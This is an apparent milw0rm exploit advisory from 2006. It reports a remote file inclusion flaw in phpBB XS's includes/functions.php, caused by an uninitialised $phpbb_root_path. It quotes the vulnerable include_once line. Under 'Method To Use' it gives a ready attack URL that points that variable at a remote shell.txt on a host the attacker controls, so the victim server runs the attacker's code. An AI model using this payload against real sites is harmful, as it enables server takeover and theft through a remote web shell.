17 lines
No EOL
388 B
Text
17 lines
No EOL
388 B
Text
Author: AzzCoder
|
|
|
|
Vendor: http://www.phpbbxs.eu/
|
|
|
|
Vulnerable File: includes/functions.php
|
|
|
|
Vulnerable Code:
|
|
|
|
//The phpbb_root_path isn't initialize
|
|
|
|
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );
|
|
|
|
Method To Use:
|
|
|
|
http://www.victim.com/[phpbb_xs]/includes/functions.php?phpbb_root_path=http://yourdomain.com/shell.txt?
|
|
|
|
# milw0rm.com [2006-09-12] |